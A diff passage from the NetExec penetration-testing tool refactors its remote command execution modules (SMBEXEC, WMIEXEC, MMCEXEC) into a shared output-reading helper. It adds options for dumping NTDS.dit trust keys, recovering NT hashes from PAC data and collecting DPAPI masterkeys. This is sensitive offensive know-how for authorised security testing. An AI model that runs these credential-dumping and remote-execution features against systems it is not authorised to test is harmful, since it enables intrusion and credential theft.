masterkeys += masterkeys_triage.triage_masterkeys()
if system:
context.logger.debug("Collecting machine masterkeys")
masterkeys += masterkeys_triage.triage_system_masterkeys()
except Exception as e:
context.logger.debug(f"Could not get masterkeys: {e}")
return masterkeys
def upgrade_to_dploot_connection(target, connection=None):
conn = None
try:
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection
conn.connect()
except Exception:
return None
return conn
+53
View File
@@ -0,0 +1,53 @@
from time import monotonic, sleep
def get_output_file(conn, share, filename, callback, tries, logger, method, first_read_delay=0.1):
"""Read the output file of an executed command, then delete it.
Most commands finish within a few hundred ms, so the file is read every 0.1s during the first 0.4s
(these quick reads don't count against --get-output-tries), then every 1s.
"""
path = f"{share}\\" + filename.lstrip("\\")
quick_until = monotonic() + 0.4
sleep(first_read_delay)
attempt = 1
while True:
try:
logger.info(f"Attempting to read {path}")
conn.getFile(share, filename, callback)
break
except Exception as e:
if monotonic() < quick_until and ("STATUS_SHARING_VIOLATION" in str(e) or "STATUS_OBJECT_NAME_NOT_FOUND" in str(e)):
sleep(0.1)
elif attempt >= tries:
logger.fail(f"{method}: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
break
elif "STATUS_BAD_NETWORK_NAME" in str(e):
logger.fail(f"{method}: Getting the output file failed - target has blocked access to the share: {share} (but the command may have executed!)")
break
elif "STATUS_VIRUS_INFECTED" in str(e):
logger.fail("Command did not run because a virus was detected")
break
# When executing PowerShell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
elif "STATUS_SHARING_VIOLATION" in str(e):
logger.info(f"File {path} is still in use with {tries - attempt} tries left, retrying...")
attempt += 1
sleep(1)
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
logger.info(f"File {path} not found with {tries - attempt} tries left, deducting 10 tries and retrying...")
attempt += 10
sleep(1)
else:
logger.debug(f"Exception when trying to read output file: {e!s}. {tries - attempt} tries left, retrying...")
attempt += 1
sleep(1)
try:
logger.debug(f"Deleting file {path}")
conn.deleteFile(share, filename)
except Exception as e:
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
logger.debug(f"No output file {path} to delete")
else:
logger.fail(f"[OPSEC] {method}: Could not delete the output file {path}: {e}")
+4 -40
View File
@@ -27,9 +27,10 @@
from os.path import join as path_join
from time import sleep
from nxc.connection import dcom_FirewallChecker
from nxc.helpers.rpc import dcom_FirewallChecker
from nxc.helpers.misc import gen_random_string
from nxc.paths import TMP_PATH
from nxc.protocols.smb.exec_output import get_output_file
from impacket.dcerpc.v5.dcom.oaut import (
IID_IDispatch,
@@ -108,7 +109,7 @@ class MMCEXEC:
self.logger.info(f"Got Exception while connecting with DCOM: {e}")
# Make it force break function
self.__dcom.disconnect()
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout, self.logger)
if not flag or not self.__stringBinding:
error_msg = f'MMCEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
@@ -250,41 +251,4 @@ class MMCEXEC:
self.__outputBuffer = ""
return
tries = 1
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
sleep(0.4)
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
break
except Exception as e:
if tries >= self.__tries:
self.logger.fail("MMCEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
break
if "STATUS_BAD_NETWORK_NAME" in str(e):
self.logger.fail(f"MMCEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
break
elif "STATUS_VIRUS_INFECTED" in str(e):
self.logger.fail("Command did not run because a virus was detected")
break
# When executing powershell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
if "STATUS_SHARING_VIOLATION" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} tries left, retrying...")
tries += 1
sleep(1)
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
tries += 10
sleep(1)
else:
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
tries += 1
sleep(1)
try:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
self.__smbconnection.deleteFile(self.__share, self.__output)
except Exception:
pass
get_output_file(self.__smbconnection, self.__share, self.__output, self.output_callback, self.__tries, self.logger, "MMCEXEC")
+11 -3
View File
@@ -1,4 +1,4 @@
from argparse import _StoreTrueAction
from argparse import BooleanOptionalAction, _StoreTrueAction
from nxc.helpers.args import DisplayDefaultsNotNone, DefaultTrackingAction, get_conditional_action
@@ -11,6 +11,7 @@ def proto_args(parser, parents):
smb_parser.add_argument("--generate-st", type=str, dest="generate_st", help="Store a Service Ticket in the specified file. Use with --delegate to save the S4U ST, or without --delegate (together with --spn) to request a regular ST for the given SPN")
self_delegate_arg = smb_parser.add_argument("--self", dest="no_s4u2proxy", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)")
u2u_arg = smb_parser.add_argument("--u2u", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Use User-to-User (U2U) authentication with S4U2Self")
smb_parser.add_argument("--unpac", action="store_true", help="UnPAC the hash: recover the NT hash from the PAC of the PKINIT TGT (requires a certificate)")
dgroup = smb_parser.add_mutually_exclusive_group()
dgroup.add_argument("-d", "--domain", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to")
@@ -23,7 +24,7 @@ def proto_args(parser, parents):
smb_parser.add_argument("--no-admin-check", action="store_true", help="Avoid checking admin which queries the Service Control Manager")
smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file")
smb_parser.add_argument("--smb-timeout", help="SMB connection timeout", type=int, default=2)
smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator")
smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentication", nargs="?", const="administrator")
smb_parser.add_argument("--generate-hosts-file", type=str, help="Generate a hosts file like from a range of IP")
smb_parser.add_argument("--generate-krb5-file", type=str, help="Generate a krb5 file like from a range of IP")
smb_parser.add_argument("--generate-tgt", type=str, help="Generate a tgt ticket")
@@ -42,8 +43,12 @@ def proto_args(parser, parents):
kerb_keys_arg.make_required = [ntds_arg]
enabled_arg.make_required = [ntds_arg]
cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC (NTDS.dit)")
trust_keys_arg = cred_gathering_group.add_argument("--trust-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], default=True, help="Dump Trusted Domain Object (TDO) secrets and derive inter-realm Kerberos/RC4 keys (NTDS.dit)")
just_trust_keys_arg = cred_gathering_group.add_argument("--just-trust-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Like --trust-keys but dump ONLY the trust keys, skipping every account secret (NTDS.dit)")
trust_keys_arg.make_required = [ntds_arg]
just_trust_keys_arg.make_required = [ntds_arg]
cred_gathering_group.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
cred_gathering_group.add_argument("--sccm", choices={"wmi", "disk"}, nargs="?", const="disk", help="dump SCCM secrets from target systems")
cred_gathering_group.add_argument("--sccm", action="store_true", help="dump SCCM secrets from target systems")
cred_gathering_group.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
cred_gathering_group.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)")
@@ -91,6 +96,9 @@ def proto_args(parser, parents):
files_group = smb_parser.add_argument_group("File Operations")
files_group.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
files_group.add_argument("--get-folder", action="append", nargs=2, metavar="DIR", help="Get a remote directory, ex: \\\\Windows\\\\Temp\\\\testing testing")
files_group.add_argument("--recursive", default=True, action=BooleanOptionalAction, help="Recursively get a folder")
files_group.add_argument("--ignore-empty-folders", default=False, action="store_true", help="Ignore empty folders when downloading")
files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
cmd_exec_group = smb_parser.add_argument_group("Command Execution")
+3 -37
View File
@@ -1,10 +1,10 @@
import os
from os.path import join as path_join
from time import sleep
from impacket.dcerpc.v5 import scmr
from nxc.helpers.misc import gen_random_string
from nxc.paths import TMP_PATH
from nxc.helpers.rpc import NXCRPCConnection
from nxc.protocols.smb.exec_output import get_output_file
class SMBEXEC:
@@ -97,42 +97,8 @@ class SMBEXEC:
self.__outputBuffer = ""
return
tries = 1
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
self.__connection.conn.getFile(self.__share, self.__output, self.output_callback)
break
except Exception as e:
if tries >= self.__tries:
self.logger.fail("SMBEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
break
if "STATUS_BAD_NETWORK_NAME" in str(e):
self.logger.fail(f"SMBEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
break
elif "STATUS_VIRUS_INFECTED" in str(e):
self.logger.fail("Command did not run because a virus was detected")
break
# When executing powershell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
if "STATUS_SHARING_VIOLATION" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} tries left, retrying...")
tries += 1
sleep(1)
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
tries += 10
sleep(1)
else:
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
tries += 1
sleep(1)
try:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
self.__connection.conn.deleteFile(self.__share, self.__output)
except Exception:
pass
# The service start returns once the command is done, so the file can be read right away
get_output_file(self.__connection.conn, self.__share, self.__output, self.output_callback, self.__tries, self.logger, "SMBEXEC", first_read_delay=0)
def finish(self):
# Just in case the service is still created
+6 -40
View File
@@ -1,9 +1,10 @@
import ntpath
import os
from time import sleep
from nxc.connection import dcom_FirewallChecker
from nxc.helpers.rpc import dcom_FirewallChecker
from nxc.helpers.misc import gen_random_string
from nxc.paths import TMP_PATH
from nxc.protocols.smb.exec_output import get_output_file
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
@@ -43,6 +44,7 @@ class WMIEXEC:
if self.__password is None:
self.__password = ""
*_, tgt, _ = smbconnection.getCredentials()
self.__dcom = DCOMConnection(
self.__target,
self.__username,
@@ -55,9 +57,10 @@ class WMIEXEC:
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost,
remoteHost=self.__remoteHost,
TGT=tgt,
)
iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout, self.logger)
if not flag or not self.__stringBinding:
error_msg = f'WMIEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
@@ -141,41 +144,4 @@ class WMIEXEC:
self.__outputBuffer = ""
return
tries = 1
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
sleep(0.4)
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
break
except Exception as e:
if tries >= self.__tries:
self.logger.fail("wmiexec: Could not retrieve output file, it may have been detected by AV. If it is still failing, try the 'wmi' protocol or another exec method")
break
elif "STATUS_BAD_NETWORK_NAME" in str(e):
self.logger.fail(f"SMB connection: target has blocked {self.__share} access (maybe command executed!)")
break
elif "STATUS_VIRUS_INFECTED" in str(e):
self.logger.fail("Command did not run because a virus was detected")
break
# When executing powershell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
elif "STATUS_SHARING_VIOLATION" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} tries left, retrying...")
sleep(1)
tries += 1
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
tries += 10
sleep(1)
else:
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
tries += 1
sleep(1)
try:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
self.__smbconnection.deleteFile(self.__share, self.__output)
except Exception:
pass
get_output_file(self.__smbconnection, self.__share, self.__output, self.output_callback, self.__tries, self.logger, "WMIEXEC")
+14 -3
View File
@@ -14,6 +14,8 @@ from paramiko.ssh_exception import (
SSHException,
)
from nxc.protocols.ssh.keyfiles import is_key_type_rejected
class ssh(connection):
def __init__(self, args, db, host):
@@ -85,13 +87,13 @@ class ssh(connection):
try:
if self.args.key_file or private_key:
self.logger.debug(f"Logging {self.host} with username: {username}, keyfile: {self.args.key_file}")
# Load the key here: with key_filename paramiko tries every key class in turn and the last parsing failure overwrites the real authentication error.
pkey = paramiko.PKey.from_path(self.args.key_file, password.encode() if password else None) if self.args.key_file else private_key
self.conn.connect(
self.host,
port=self.port,
username=username,
passphrase=password if password != "" else None,
pkey=private_key,
key_filename=self.args.key_file,
pkey=pkey,
timeout=self.args.ssh_timeout,
look_for_keys=False,
allow_agent=False,
@@ -125,6 +127,8 @@ class ssh(connection):
except AuthenticationException as e:
if "Private key file is encrypted" in str(e):
self.logger.fail(f"{username}:{process_secret(password)} Could not load private key, error: {e}")
elif is_key_type_rejected(e):
self.logger.fail(f"{username}:{process_secret(password)} Key type rejected by server (pubkey algorithm not allowed)")
else:
self.logger.fail(f"{username}:{process_secret(password)}")
except SSHException as e:
@@ -132,8 +136,15 @@ class ssh(connection):
self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, invalid password")
elif "Error reading SSH protocol banner" in str(e):
self.logger.error(f"Internal Paramiko error for {username}:{process_secret(password)}, {e}")
elif is_key_type_rejected(e):
self.logger.fail(f"{username}:{process_secret(password)} Key type rejected by server (pubkey algorithm not allowed)")
else:
self.logger.exception(e)
except ValueError as e:
self.logger.debug(f"Could not load private key {self.args.key_file}: {e}")
self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, invalid password")
except TimeoutError:
self.logger.fail(f"{username}:{process_secret(password)} Connection timed out")
except Exception as e:
self.logger.exception(e)
self.conn.close()
Loaded 100 of 119 files, more files were not shown because too many files have changed in this diff. Show more